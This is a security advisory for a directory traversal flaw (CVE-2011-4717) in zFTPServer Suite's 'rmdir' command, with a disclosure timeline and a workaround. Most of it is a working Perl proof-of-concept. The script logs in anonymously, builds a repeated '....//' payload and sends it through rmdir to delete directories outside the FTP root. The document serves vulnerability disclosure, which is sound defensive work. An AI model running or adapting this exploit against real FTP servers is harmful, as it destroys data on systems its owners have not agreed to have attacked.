Advisory:    zFTPServer Suite 6.0.0.52 'rmdir' Directory Traversal
Advisory ID:    INFOSERVE-ADV2011-09
Author:      Stefan Schurtz
Contact:    security@infoserve.de
Affected Software:  Successfully tested on zFTPServer Suite 6.0.0.52
Vendor URL:    http://www.zftpserver.com/
Vendor Status:    fixed
CVE-ID:      CVE-2011-4717

==========================
Vulnerability Description
==========================

zFTPServer 'rmdir' is prone to a Directory Traversal, which makes it possible to delete directories in the system

==================
PoC-Exploit
==================

Tested on: WindowsXP (SP3)
User Permissions:  Files->Read / Directories->List, Delete

#!/usr/bin/perl
#########################################################
# NOTE: This exploit is only for educational purpose!!! # 
#########################################################
use strict;
use Net::FTP;

my $user = "anonymous";
my $password = "anonymous@";

########################
# connect
########################
my $target = $ARGV[0];
my $plength = $ARGV[1];

print "\n";
print "\t#######################################################\n";
print "\t# This PoC-Exploit is only for educational purpose!!! #\n";
print "\t#######################################################\n";
print "\n";

if (!$ARGV[0]||!$ARGV[1]) {
  print "[+] Usage: $@ <target> <payload length>\n";
  exit 1;
}

my $ftp=Net::FTP->new($target,Timeout=>15) or die "Cannot connect to $target: $@";
print "[+] Connected to $target\n";

########################
# login
########################
$ftp->login($user,$password) or die "Cannot login ", $ftp->message;
print "[+] Logged in with user $user\n";

###################################################
# Building payload '....//' with min. length of 38
###################################################
my @p = ( "",".",".",".",".","/","/" );
my $payload;

print "[+] Building payload\n";

for (my $i=1;$i<=$plength;$i++) {
   $payload .= $p[$i];
   push(@p,$p[$i]);
}
sleep(3);

#########################################
# Sending payload
#########################################
print "[+] Sending payload $payload\n";
$ftp->rmdir($payload) or die "rmdir failed ", $ftp->message;

##########################################
# disconnect
##########################################
print "[+] Done\n";
$ftp->quit;
exit 0;
#EOF

=========
Solution
=========

Fixed, but no new release available, as a workaround disable "Directories->Delete"

====================
Disclosure Timeline
====================

04-Dec-2011 - informed vendor
06-Dec-2011 - fixed by vendor
10-Dec-2011 - release date of this security advisory

========
Credits
========

Vulnerabilitiy found and advisory written by the INFOSERVE security team.

===========
References
===========

http://forum.zftpserver.com/viewtopic.php?f=4&t=2927
http://www.infoserve.de/system/files/advisories/INFOSERVE-ADV2011-09.tx